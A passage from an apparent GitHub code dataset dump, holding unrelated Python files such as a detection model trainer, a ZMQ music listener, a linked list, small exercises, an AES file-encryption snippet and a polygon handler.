R.from_euler('z', np.random.random(size=[1]) * self.conf.augmentation_angle * 2 - self.conf.augmentation_angle, degrees=True)\n rotmat = r.as_matrix().squeeze(0) if r.as_matrix().ndim > 2 else r.as_matrix()\n input_skeletons = (rotmat[None, :] @ input_skeletons.transpose(0, 2, 1)).transpose(0, 2, 1)\n target_skeleton = (rotmat[None, :] @ target_skeleton.transpose(0, 2, 1)).transpose(0, 2, 1)\n\n output = [\n input_skeletons.astype(np.float32),\n target_skeleton.squeeze(0).astype(np.float32),\n sample_id\n ]\n\n return output\n","repo_name":"chrdiller/characteristic3dposes","sub_path":"characteristic3dposes/data/grab/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":4817,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"60"} +{"seq_id":"14091095801","text":"# -*- coding: utf-8 -*-\n# tenforward_client(c) 2017 by Andre Karlsson\n#\n# This file is part of tenforward_client.\n#\n# tenforward_client is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# tenforward_client is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with tenforward_client. If not, see .\n#\n#\n# Filename: __init__ by: andrek\n# Timesamp:2018-01-17 :: 22:12 using PyCharm\n\nimport sys\nimport os\nfrom tenforward_client.core.logger import Logger\n\nimport tenforward_client.core.config as config\nfrom tenforward_client.core.cpumeter import CpuMeter\nfrom tenforward_client.core.reporter import Reporter\n\n\nlogger = Logger()\ncpumeter = CpuMeter()\n\n# Global name\n__version__ = '0.1'\n__author__ = 'Andre Karlsson '\n__license__ = 'LGPLv3'\n\n\nplatforms = {\n\t'LINUX': sys.platform.startswith('linux'),\n\t'SUNOS': sys.platform.startswith('sunos'),\n\t'MACOS': sys.platform.startswith('darwin'),\n\t'BSD': sys.platform.find('bsd') != -1,\n\t'WINDOWS': sys.platform.startswith('win')\n}\n\nplatform = next((k for k, v in platforms.items() if v), None)\n\nwork_path = os.path.realpath(os.path.pardir)\nmetrics_path = os.path.realpath(os.path.join(work_path, 'tenforward_client/monitors'))\nsys_path = sys.path[:]\nsys.path.insert(1, metrics_path)","repo_name":"joyider/tenforward_client","sub_path":"tenforward_client/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11465472966","text":"class Node:\n def __init__(self, value):\n self.value = value\n self.next = None\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def append(self, value):\n new_node = Node(value)\n if not self.head:\n self.head = new_node\n else:\n current = self.head\n while current.next:\n current = current.next\n current.next = new_node\n\n def insert(self, value, index):\n new_node = Node(value)\n if index == 0:\n new_node.next = self.head\n self.head = new_node\n else:\n current = self.head\n i = 0\n while i < index-1 and current.next:\n current = current.next\n i += 1\n new_node.next = current.next\n current.next = new_node\n\n def delete(self, index):\n if not self.head:\n return\n elif index == 0:\n self.head = self.head.next\n else:\n current = self.head\n i = 0\n while i < index-1 and current.next:\n current = current.next\n i += 1\n if not current.next:\n return\n current.next = current.next.next\n\n def __str__(self):\n result = \"\"\n current = self.head\n while current:\n result += str(current.value) + \" \"\n current = current.next\n return result\n\nlinked_list = LinkedList()\nlinked_list.append(1)\nlinked_list.append(2)\nlinked_list.append(4)\nprint(linked_list) # 1 2 4\nlinked_list.insert(3, 2)\nprint(linked_list) # 1 2 3 4\n","repo_name":"master-of-the-dungeon/ITiABD-PM22-7-Nikolay-Sedov","sub_path":"2022-2023/a/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11019887757","text":"from array import *\r\n\r\nlista = array('i', [])\r\n\r\nfor i in range(21):\r\n numero = int(input(\"Digite um número: \"))\r\n lista.append(numero)\r\n\r\nmed = sum(lista) / len(lista)\r\n\r\nprint('Média é igual a %.2f' % med)\r\n\r\n\r\nprint(\"maior número é: \", max(lista))\r\nprint(\"menor número é: \", min(lista))","repo_name":"Luizvdefreitas/REC-sa2","sub_path":"sa2-ex3.py","file_name":"sa2-ex3.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74471052992","text":"import os\nimport psutil\nimport glob\nimport shutil\nimport time\nimport torch.optim as optim\nfrom tqdm import tqdm\nfrom . import csv_eval\nfrom dataloader import *\n\nfrom networks import get_model\nfrom torch.utils.data import DataLoader\n\nfrom logging_utils import logginger, init_logging\n\nlogger = logginger(__name__)\nmem_log = init_logging('Memory', 'mem_log.log')\n\nprint('CUDA available: {}'.format(torch.cuda.is_available()))\n\n\nclass ModelTrainer:\n def __init__(self, device_index=0):\n self.device = torch.device(type='cuda', index=device_index) if torch.cuda.is_available() else torch.device(\n type='cpu')\n\n def load(self, data_path, save_trial_id, resume_trial_id=None, checkpoint=None):\n if os.getcwd().split('/')[-1] == 'objectdetection':\n data_path = os.path.join('..', data_path)\n self.data_path = data_path\n\n self.checkpoint = checkpoint\n this_path = os.getcwd()\n self.weights_dir_path = os.path.join(this_path, 'weights')\n\n if resume_trial_id:\n assert (checkpoint == None), \"you can't load checkpoint and also resume given a past trial id\"\n resume_last_checkpoint_path = os.path.join(this_path, 'weights', 'last_' + resume_trial_id + '.pt')\n resume_best_checkpoint_path = os.path.join(this_path, 'weights', 'best_' + resume_trial_id + '.pt')\n self.checkpoint = torch.load(resume_best_checkpoint_path)\n os.remove(resume_best_checkpoint_path)\n\n # TODO: resume from best???\n self.save_last_checkpoint_path = os.path.join(this_path, 'weights', 'last_' + save_trial_id + '.pt')\n self.save_best_checkpoint_path = os.path.join(this_path, 'weights', 'best_' + save_trial_id + '.pt')\n self.save_trial_id = save_trial_id\n self.results_path = os.path.join(this_path, 'weights', 'results.txt')\n\n self.best_fitness = - float('inf')\n self.tb_writer = None\n\n def preprocess(self, augment_policy=None, dataset='csv', csv_train=None, csv_val=None, csv_classes=None,\n train_set_name='train', val_set_name='val', resize=608, batch=2):\n self.dataset = dataset\n transform_train = transforms.Compose([Normalizer(), Augmenter(), Resizer(min_side=resize)])\n transform_val = transforms.Compose([Normalizer(), Resizer(min_side=resize)])\n if augment_policy is not None:\n transform_train.transforms.insert(0, Augmentation(augment_policy, detection=True))\n\n if self.dataset == 'coco':\n self.dataloader_train = DataGenerator(self.data_path, annotation_format=\"coco\",\n function_transforms=transform_train)\n self.dataset_val = DataGenerator(self.data_path, annotation_format=\"coco\",\n function_transforms=transform_val)\n\n print('Num training images: {}'.format(len(self.dataset_train)))\n if len(self.dataset_val) == 0:\n raise Exception('num val images is 0!')\n print('Num val images: {}'.format(len(self.dataset_val)))\n\n def build(self, model='retinanet', depth=50, learning_rate=1e-5, ratios=[0.5, 1, 2],\n scales=[2 ** 0, 2 ** (1.0 / 3.0), 2 ** (2.0 / 3.0)]):\n # model must be string or a model class\n if not callable(model):\n model = get_model(model_name=model, num_classes=self.dataset_train.num_classes, backbone_depth=depth, ratios=ratios,\n scales=scales, weights_dir=self.weights_dir_path, pretrained=True)\n\n self.model = model.to(device=self.device)\n self.model.training = True\n self.optimizer = optim.Adam(self.model.parameters(), lr=learning_rate)\n self.scheduler = optim.lr_scheduler.ReduceLROnPlateau(self.optimizer, patience=3, verbose=True)\n\n if self.checkpoint is not None:\n self.model.load_state_dict(self.checkpoint['model'])\n self.optimizer.load_state_dict(self.checkpoint['optimizer'])\n self.scheduler.load_state_dict(self.checkpoint['scheduler'])\n self.ratios = ratios\n self.scales = scales\n self.depth = depth\n\n def train(self, epochs=100, init_epoch=0):\n # must use build before train\n # Start Tensorboard with \"tensorboard --logdir=runs\", view at http://localhost:6006/\n from torch.utils.tensorboard import SummaryWriter\n self.tb_writer = SummaryWriter(comment=self.save_trial_id[:3])\n for epoch_num in range(init_epoch + 1, epochs + 1):\n st = time.time()\n print('total epochs: ', epochs)\n self.model.train()\n self.model.freeze_bn()\n\n epoch_loss = []\n time_to_load_data = []\n time_to_compute_loss = []\n time_to_compute_backprop = []\n total_num_iterations = len(self.dataloader_train)\n dataloader_iterator = iter(self.dataloader_train)\n pbar = tqdm(total=total_num_iterations)\n\n for iter_num in range(1, total_num_iterations + 1):\n st_loader = time.time()\n data = next(dataloader_iterator)\n time_to_load_data.append(time.time() - st_loader)\n self.optimizer.zero_grad()\n st_loss = time.time()\n classification_loss, regression_loss = self.model(\n [data.image.float().to(device=self.device), data.annot.to(device=self.device)])\n time_to_compute_loss.append(time.time() - st_loss)\n classification_loss = classification_loss.mean()\n regression_loss = regression_loss.mean()\n loss = classification_loss + regression_loss\n if bool(loss == 0):\n continue\n st_backprop = time.time()\n loss.backward()\n time_to_compute_backprop.append(time.time() - st_backprop)\n torch.nn.utils.clip_grad_norm_(self.model.parameters(), 0.1)\n self.optimizer.step()\n epoch_loss.append(float(loss))\n s = 'Trial {} -- Epoch: {}/{} | Iteration: {}/{} | Classification loss: {:1.5f} | Regression loss: {:1.5f}'.format(\n self.save_trial_id[:3], epoch_num, epochs, iter_num, total_num_iterations,\n float(classification_loss),\n float(\n regression_loss)) # TODO: this isn't working, regresision loss running loss dont show up at all\n pbar.set_description(s)\n pbar.update()\n del classification_loss\n del regression_loss\n torch.cuda.empty_cache()\n pbar.close()\n self.scheduler.step(np.mean(epoch_loss))\n self.final_epoch = epoch_num == epochs\n print('time to train epoch: ', time.time() - st)\n print('avg time to load data: ', np.mean(time_to_load_data))\n print('avg time to compute loss: ', np.mean(time_to_compute_loss))\n print('avg time to compute backprop: ', np.mean(time_to_compute_backprop))\n mAP = csv_eval.evaluate(self.dataset_val, self.model)\n self._write_to_tensorboard(mAP, np.mean(epoch_loss), epoch_num)\n del epoch_loss\n self._save_checkpoint(mAP, epoch_num)\n if self.final_epoch:\n self._save_classes_for_inference()\n # last epoch delete last checkpoint and leave the best checkpoint\n os.remove(self.save_last_checkpoint_path)\n\n if self.tb_writer:\n self.tb_writer.close()\n if torch.cuda.is_available():\n mem_log.info(round(torch.cuda.memory_cached(0) / 1024 ** 2, 0)) # GPU Memory\n else:\n process = psutil.Process(os.getpid())\n mem_log.info(round(process.memory_info().rss / 1024 ** 2, 0)) # Memory\n\n def get_best_checkpoint(self):\n return torch.load(self.save_best_checkpoint_path)\n\n def get_best_metrics(self):\n checkpoint = torch.load(self.save_best_checkpoint_path)\n self.model.load_state_dict(checkpoint['model'])\n mAP = csv_eval.evaluate(self.dataset_val, self.model)\n return mAP.item()\n\n def get_best_metrics_and_checkpoint(self):\n return {'metrics': {'val_accuracy': self.get_best_metrics()},\n 'checkpoint': self.get_best_checkpoint()}\n\n def save(self):\n torch.save(self.model, 'model_final.pt')\n\n def _save_classes_for_inference(self):\n classes_path = os.path.join(self.data_path, \"d.names\")\n if os.path.exists(classes_path):\n os.remove(classes_path)\n print(\"saving classes to be used later for inference at \", classes_path)\n with open(classes_path, \"w\") as f:\n for key in self.dataset_train.classes.keys():\n f.write(key)\n f.write(\"\\n\")\n\n def _write_to_tensorboard(self, results, mloss, epoch):\n\n # Write Tensorboard results\n if self.tb_writer:\n x = [mloss.item()] + [results.item()]\n titles = ['Train_Loss', '0.5AP']\n for xi, title in zip(x, titles):\n self.tb_writer.add_scalar(title, xi, epoch)\n\n def _save_checkpoint(self, results, epoch):\n\n # Update best mAP\n fitness = results # total loss\n if fitness > self.best_fitness:\n self.best_fitness = fitness\n\n # Create checkpoint\n checkpoint = {'epoch': epoch,\n 'metrics': {'val_accuracy': results.item()},\n 'model': self.model.state_dict(),\n 'optimizer': self.optimizer.state_dict(),\n 'scheduler': self.scheduler.state_dict(),\n 'labels': self.dataset_train.labels\n }\n\n # Save last checkpoint\n torch.save(checkpoint, self.save_last_checkpoint_path)\n\n # Save best checkpoint\n if self.best_fitness == fitness:\n torch.save(checkpoint, self.save_best_checkpoint_path)\n\n # Delete checkpoint\n del checkpoint\n\n def delete_stuff(self):\n files_ls = glob.glob(os.path.join(self.weights_dir_path, 'l*'))\n files_ls += glob.glob(os.path.join(self.weights_dir_path, 'b*'))\n for file in files_ls:\n try:\n os.remove(file)\n except:\n logger.info(\"Error while deleting file : \" + file)\n shutil.rmtree(os.path.join(os.getcwd(), 'runs'))\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"dataloop-ai/AutoML","sub_path":"objectdetection/model_trainer.py","file_name":"model_trainer.py","file_ext":"py","file_size_in_byte":10546,"program_lang":"python","lang":"en","doc_type":"code","stars":337,"dataset":"github-code","pt":"60"} +{"seq_id":"16306248930","text":"\"\"\"\nFaça um programa que receba do usuário um vetor com 10 posições.\nEm seguida deverá ser impresso o maior e o menor elemento do vetor.\n\"\"\"\n\nnumeros = []\nfor n in range(10):\n while True:\n try:\n numeros.append(float(input(f'Digite o {n + 1}º número: ')))\n except:\n print('\\033[31merro : valor inválido\\033[m')\n else:\n break\n\nprint(f'\\nO maior número digitado foi {max(numeros)}')\nprint(f'\\nO menor número digitado foi {min(numeros)}')\n","repo_name":"douglasfreek/cursoPython3","sub_path":"seção 7/exercícios/parte 1/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38795625327","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 2 22:41:27 2021\n\n@author: jabenitez\n\"\"\"\n\n\nimport requests\nimport json\nimport pandas as pd\nimport csv\nimport time\nimport re\nimport os\nfrom ast import literal_eval\nimport matplotlib.pyplot as plt\n\n\nfrom pathlib import Path\n\n\n#%% 2\n#my_path = os.path.abspath(os.path.dirname(__file__))\npath = '../data/ed-dataset-falcon2-entities-reduced.csv'\ndf = pd.read_csv(path, sep=';',error_bad_lines=False, \n converters={'entities_instances_wikidata_cleaned':literal_eval,\n 'entities_labels_wikidata_cleaned':literal_eval})\n\n\n\n\n# ed-spacy-entities-count-reduced.csv\n# ed-spacy-entities-count-reduced2.csv\npath = '../data/ed-dataset-spacy-entities-reduced2.csv'\ndfS = pd.read_csv(path, sep=';',error_bad_lines=False, \n converters={'spacy_entities_ids':literal_eval,\n 'spacy_entities_labels':literal_eval,\n 'spacy_entities_urls':literal_eval})\n\n\nresp_list = dfS['spacy_entities_ids'].tolist()\n\nprint(resp_list[65])\n\nfor idx, resp in enumerate(resp_list):\n for idx2, enti in enumerate(resp):\n if((enti is not None) and (enti is not '')):\n resp_list[idx][idx2] = 'http://www.wikidata.org/entity/Q'+str(enti)\n \n\ndfS['spacy_entities_ids'] = resp_list\ndfS['entities_instances_wikidata_cleaned'] = df['entities_instances_wikidata_cleaned'].tolist()\ndfS['entities_labels_wikidata_cleaned'] = df['entities_labels_wikidata_cleaned'].tolist()\n\n\ndfS['falcon_spacy_entities'] = dfS['spacy_entities_ids'] + dfS['entities_instances_wikidata_cleaned']\n\ndfS['falcon_spacy_labels'] = dfS['spacy_entities_labels'] + dfS['entities_labels_wikidata_cleaned']\ndfS['falcon_spacy_labels'] = dfS['falcon_spacy_labels'].apply(lambda x: list(set(x)))\n\n\ndfS['falcon_spacy_entities'] = dfS['falcon_spacy_entities'].apply(lambda x: list(set(x)))\n\npath = '../data/ed-dataset-falcon_spacy2.csv'\n\ndfS.to_csv(path,sep=';')\n\n# %% 3\n\nresponses_entities_instances = []\nresponses_entities_labels = []\n\ntotal_resp_entities_labels = []\ntotal_resp_entities_instances = []\n\nall_entities_labels = []\nall_entities_instances = []\n\nall_entities_ids = []\nall_entities_labels_a = []\nall_entities_instances_a = []\n\nresp_list = dfS['falcon_spacy_entities'].tolist()\nresp_labels = dfS['falcon_spacy_labels'].tolist()\n\n\nfor idx1,resp in enumerate(resp_list):\n \n for idx2,enti in enumerate(resp):\n if((enti is not None) and (enti is not '')):\n if(enti in all_entities_instances) is False:\n all_entities_instances.append(enti)\n if(idx2 < len(resp_labels[idx1])):\n all_entities_labels.append(resp_labels[idx1][idx2])\n else:\n all_entities_labels.append(enti)\n\n#%%\n\ndfUniques = pd.DataFrame({'entity':all_entities_instances,'label':all_entities_labels})\ndfUniques.to_csv('../data/ed-dataset-falcon_spacy2-entities-uniques.csv',sep=';')\n\n\n\n# %%\n\n\nprint(dfS['falcon_spacy_entities'][4][0])\n# %% \n\ndf_orig = dfS.copy()\ndf_b = pd.DataFrame(dfS['falcon_spacy_entities'])\n\n# %%\n\nprint(df_b['falcon_spacy_entities'][4][0])\n\n# %% 6\n\ns = df_b.iloc[:,0]\n\nt = pd.get_dummies(s.apply(pd.Series).stack()).sum(level=0)\n# %% 7\n\ndf_c = df_b.falcon_spacy_entities.str.join('|').str.get_dummies()\n\n\n# %% 8\n\nprint(df_c.head())\n\n\n# %%\nfrom sklearn.metrics.pairwise import pairwise_distances\njac_sim = 1 - pairwise_distances(df_c, metric = \"hamming\")\n# optionally convert it to a DataFrame\njac_sim = pd.DataFrame(jac_sim, index=df_c.index, columns=df_c.index)\n\njac_sim.to_csv('../data/ed-dataset-falcon_spacy2-jaccard.csv',sep=';')\n# %%\n\nprint(jac_sim.values.reshape(-1))\n\n# %%\n\nimport numpy as np\n\n\nn=4000000\nx = jac_sim.values.reshape(-1)\ny = 0.0 + 0.0 * x + 1000 * np.random.standard_normal(n)\nplt.hexbin(x,y)\n\nplt.show()\n\n# pd.plotting.scatter_matrix(jac_sim, diagonal='kde')\n\n#pd.plotting.scatter_matrix(jac_sim, alpha=0.2)\n#","repo_name":"knowledgeb/Combining-Knowledge-Graphs-and-Deep-Learning-techniques-for-Categorizing-Tweets","sub_path":"preprocessing_kge/other_tests/jaccard-falcon-spacy.py","file_name":"jaccard-falcon-spacy.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15605261914","text":"class Solution:\n # O(e + v) time | O(v) space\n # where E is the number of edges and v is the number of the vertexs \n def cloneGraph(self, node: 'Node') -> 'Node':\n oldToNew = {}\n \n def dfs(node):\n if node in oldToNew:\n return oldToNew[node]\n \n copy = Node(node.val)\n oldToNew[node] = copy\n \n for nei in node.neighbors:\n copy.neighbors.append(dfs(nei))\n \n return copy\n \n return dfs(node) if node else node\n ","repo_name":"weilincheng/LeetCode-practice","sub_path":"graph/133_clone_graph.py","file_name":"133_clone_graph.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32087887051","text":"#!/usr/bin/env python\n\n## Life AI Text to Music listener ZMQ client\n#\n# Chris Kennedy 2023 (C) GPL\n#\n# Free to use for any use as in truly free software\n# as Richard Stallman intended it to be.\n#\n\nimport time\nimport io\nimport zmq\nimport argparse\nimport textwrap\nimport soundfile as sf\nimport pygame\nimport re\nimport os\nimport sys\nimport threading\nfrom pydub import AudioSegment\nimport logging\n\ndef get_audio_duration(audio_samples):\n audio_segment = AudioSegment.from_file(io.BytesIO(audio_samples), format=\"wav\")\n duration_ms = len(audio_segment) # Duration in milliseconds\n duration_s = duration_ms / 1000.0 # Convert to seconds\n return duration_s\n\nclass BackgroundMusic(threading.Thread):\n def __init__(self):\n super().__init__()\n pygame.mixer.init(frequency=32000, size=-16, channels=args.channels, buffer=args.buffer_size)\n pygame.init()\n self.audio_buffer = None\n self.running = True\n self.lock = threading.Lock() # Lock to synchronize access to audio_buffer\n\n def run(self):\n while self.running:\n with self.lock:\n if self.audio_buffer:\n self.play_audio(self.audio_buffer)\n pygame.time.Clock().tick(1) # Limit the while loop to 1 iteration per second\n\n def play_audio(self, audio_samples):\n audiobuf = io.BytesIO(audio_samples)\n if audiobuf:\n pygame.mixer.music.load(audiobuf)\n pygame.mixer.music.set_volume(args.volume) # Set the volume\n pygame.mixer.music.play(fade_ms=100)\n logger.info(f\"Playing music segment\")\n while pygame.mixer.music.get_busy():\n pygame.time.Clock().tick(1)\n\n def change_track(self, audio_buffer):\n with self.lock:\n logger.info(f\"Changing music track\")\n pygame.mixer.music.stop() # Stop the currently playing audio\n self.audio_buffer = audio_buffer\n pygame.mixer.music.fadeout(100) # Fade out the audio\n\n def stop(self):\n self.running = False\n pygame.mixer.music.stop()\n\ndef main():\n # Instantiate and start the background music thread\n bg_music = BackgroundMusic()\n bg_music.start()\n\n audio_samples = None\n while True:\n try:\n header_message = socket.recv_json()\n \n # fill out the variables from the header\n segment_number = header_message[\"segment_number\"]\n mediaid = header_message[\"mediaid\"]\n\n # Now, receive the binary audio data\n audio_samples = socket.recv()\n\n if header_message['stream'] != \"music\":\n logger.debug(f\"Received non-music stream {header_message['stream']}\")\n continue\n\n duration = header_message[\"duration\"]\n\n logger.debug(f\"Received music segment mediaid: {header_message}\")\n logger.info(f\"Received music segment #{segment_number} mediaid: {mediaid}\")\n\n # Signal thread to play new audio, sleep for duration so we don't interupt it\n if audio_samples:\n bg_music.change_track(audio_samples)\n duration = get_audio_duration(audio_samples)\n time.sleep(duration)\n except Exception as e:\n logger.error(f\"Error: %s\" % str(e))\n continue\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input_port\", type=int, default=6003, required=False, help=\"Port for receiving audio numpy arrays\")\n parser.add_argument(\"--input_host\", type=str, default=\"127.0.0.1\", required=False, help=\"Host for receiving audio input\")\n parser.add_argument(\"--output_directory\", default=\"music\", type=str, help=\"Directory path to save the received wave files in\")\n parser.add_argument(\"--audio_format\", type=str, choices=[\"wav\", \"raw\"], default=\"wav\", help=\"Audio format to save as. Choices are 'wav' or 'raw'. Default is 'wav'.\")\n parser.add_argument(\"--volume\", type=float, default=0.30, help=\"Playback volume (0.0 to 1.0, default is 0.30)\")\n parser.add_argument(\"-ll\", \"--loglevel\", type=str, default=\"info\", help=\"Logging level: debug, info...\")\n parser.add_argument(\"--buffer_size\", type=int, default=32786, help=\"Audio buffer size (default is 32786)\")\n parser.add_argument(\"--channels\", type=int, default=2, help=\"Number of audio channels (default is 2)\")\n\n args = parser.parse_args()\n\n LOGLEVEL = logging.INFO\n\n if args.loglevel == \"info\":\n LOGLEVEL = logging.INFO\n elif args.loglevel == \"debug\":\n LOGLEVEL = logging.DEBUG\n elif args.loglevel == \"warning\":\n LOGLEVEL = logging.WARNING\n else:\n LOGLEVEL = logging.INFO\n\n log_id = time.strftime(\"%Y%m%d-%H%M%S\")\n logging.basicConfig(filename=f\"logs/zmqTTMlisten-{log_id}.log\", level=LOGLEVEL)\n logger = logging.getLogger('TTMlistener')\n\n ch = logging.StreamHandler()\n ch.setLevel(LOGLEVEL)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n\n context = zmq.Context()\n socket = context.socket(zmq.SUB)\n logger.info(\"connected to ZMQ in: %s:%d\" % (args.input_host, args.input_port))\n socket.connect(f\"tcp://{args.input_host}:{args.input_port}\")\n socket.setsockopt_string(zmq.SUBSCRIBE, \"\")\n\n main()\n\n","repo_name":"groovybits/lifeAI","sub_path":"zmqTTMlisten.py","file_name":"zmqTTMlisten.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"74683706431","text":"'''\nAdd a user to watchusers file\n'''\nimport re\n\n# get input for user to add\nnewuser = input('Enter the screen name of the user to watch: ')\n# newuser = 'milesboswell'\nscreen_name = f'@{newuser}'\n\n# check if user is not in file already\nwith open('watchusers', 'r') as f:\n\tcont = f.read()\nusers = [user[:-1] for user in cont.split('@')[1:]]\n\n# add user to watchusers if not in it already\nif not newuser in users:\n\twith open('watchusers', 'a') as f:\n\t\tf.write(f'{screen_name}\\n')\n\tprint(f'Added {screen_name} to watchlist.')\nelse:\n\tprint('User is already being watched.')","repo_name":"bm20894/TwitterPyBot","sub_path":"adduser.py","file_name":"adduser.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26476380435","text":"class Solution:\n def countPaths(self, grid):\n n, m, mod = len(grid), len(grid[0]), 10**9 + 7\n dp = [[-1] * m for _ in range(n)]\n def dfs(i, j):\n if dp[i][j] != -1: return dp[i][j]\n dp[i][j] = 1\n for r,c in ((0,1),(0,-1),(1,0),(-1,0)):\n if 0 <= i+r < n and 0 <= j+c < m and grid[i][j] < grid[i+r][j+c]:\n dp[i][j] += dfs(i+r, j+c)\n return dp[i][j]\n return sum(sum(dfs(i,j) for i in range(n)) % mod for j in range(m)) % mod","repo_name":"Fas96/AlgoSolution","sub_path":"2328-number-of-increasing-paths-in-a-grid/2328-number-of-increasing-paths-in-a-grid.py","file_name":"2328-number-of-increasing-paths-in-a-grid.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"39589888245","text":"from pprint import pprint, pp\nimport unittest\nfrom SuffixTree import SuffixTree\n\n\nclass TestSuffixTree(unittest.TestCase):\n def test_init_suffix_tree(self):\n tokens = ['body', '(string)', 'a', 'href', '(attr_val)', '(string)', '(tag_end)', '(string)', '(tag_end)', '(EOF)']\n st = SuffixTree(tokens)\n self.assertTrue(st.search_pattern(['a', 'href', '(attr_val)']))\n self.assertFalse(st.search_pattern(['p', 'class', '(attr_val)']))\n # self.print_node(st.root, tokens)\n\n def test_tree_array(self):\n tokens = 'aabbaaab$'\n st = SuffixTree(tokens)\n # pprint(st.tree_array(), sort_dicts=False, width=10)\n # pp(st.tree_array(), sort_dicts=False, width=10)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"hitohuma/regice","sub_path":"tests/test_SuffixTree.py","file_name":"test_SuffixTree.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"43219876558","text":"from Crypto.Cipher import AES\nfrom init import key,iv\nimport os\nimport struct\nfrom Padding import pad,unpad\nsz = 2048\nfsz = os.path.getsize('/Users/goofy/Desktop/test.txt')\nwith open('test.txt') as finput:\n while True:\n global data\n data = finput.read(sz)\n n = len(data)\n if n == 0:\n break\n # elif n % 16 != 0:\n # data += ' ' * (16 - n % 16) # <- padded with spaces\n aes = AES.new(key, AES.MODE_CBC, iv)\n with open('encfile.txt', 'wb') as fout:\n # fout.write(iv)\n encd = aes.encrypt(pad(data, 16))\n #cd)\n #\n\n fout.write(encd)\n # fout.write(struct.pack(' None:\n \"\"\"\n Setter for the filter facade\n\n :param filter_facade: the filter facade to set\n \"\"\"\n self._filter_facade = filter_facade\n\n def add_polygon(self, polygon_record: PolygonRecord) -> Optional[UUID]:\n \"\"\"\n Takes a polygon record and creates a Polygon from it. If one or more of the arguments are not valid the IDRecord\n will not contain a valid id as\n :param polygon_record:\n :return:\n \"\"\"\n new_polygon: Polygon = Polygon(polygon_record)\n if new_polygon is None:\n self.throw_error(ErrorMessage.POLYGON_NOT_CREATED_FROM_RECORD)\n return None\n polygon_id = new_polygon.get_id()\n if polygon_id is None:\n self.throw_error(new_polygon.get_error())\n return None\n self._polygons.append(new_polygon)\n return polygon_id\n\n def delete_polygon(self, uuid: UUID) -> bool:\n \"\"\"\n Deletes a polygon that fits the uuid\n Only executable if the uuid is not none, is used and is not used in the filter facade\n\n :param uuid: The uuid of the polygon to delete\n :return: if the polygon was deleted\n \"\"\"\n if uuid is None:\n self.throw_error(ErrorMessage.INPUT_NONE)\n\n if self._filter_facade.is_polygon_in_use(uuid):\n self.throw_error(ErrorMessage.POLYGON_IN_USE)\n return False\n\n for polygon in self._polygons:\n if polygon.get_id() == uuid:\n self._polygons.remove(polygon)\n self._deleted_polygons.append(polygon)\n return True\n\n raise InvalidUUID(ErrorMessage.POLYGON_NOT_EXISTING.value)\n\n def get_polygon(self, polygon_id: UUID) -> PolygonRecord:\n \"\"\"\n Getter for a polygon given a uuid. Is returned as polygon record to ensure\n encapsulation.\n\n :param polygon_id: the uuid to get\n \"\"\"\n if polygon_id is None:\n raise InvalidUUID(ErrorMessage.INPUT_NONE.value)\n\n for polygon in self._polygons:\n if polygon.get_id() == polygon_id:\n polygon_record = polygon.create_polygon_record()\n if polygon_record is None:\n self.throw_error(polygon.get_error())\n return polygon_record\n\n raise InvalidUUID(ErrorMessage.POLYGON_NOT_EXISTING.value)\n\n def get_all_polygon_ids(self) -> List[UUID]:\n \"\"\"\n Getter for all used polygons given as uuids\n\n :return: List of all used uuids\n \"\"\"\n return [polygon.get_id() for polygon in self._polygons]\n\n def get_all_polygons(self) -> List[PolygonRecord]:\n \"\"\"\n Getter for all used polygons as PolygonRecords\n\n :return: List of used polygons\n \"\"\"\n polygon_records = list()\n for polygon in self._polygons:\n polygon_records.append(polygon.create_polygon_record())\n return polygon_records\n\n def reconstruct_polygon(self) -> Optional[UUID]:\n \"\"\"\n Reconstructs a polygon. THe uuid is returned to identify the reconstructed polygon\n\n :return: uuid of the reconstructed polygoin\n \"\"\"\n if len(self._deleted_polygons) <= 0:\n self.throw_error(ErrorMessage.NO_POLYGON_DELETED)\n return None\n\n reconstructed: Polygon = self._deleted_polygons.pop()\n self._polygons.append(reconstructed)\n return reconstructed.get_id()\n\n def remove_latest_polygon(self) -> Optional[UUID]:\n \"\"\"\n Remove the polygon added the latest\n\n :return: the UUID of the polygon removed\n \"\"\"\n if len(self._polygons) <= 0:\n 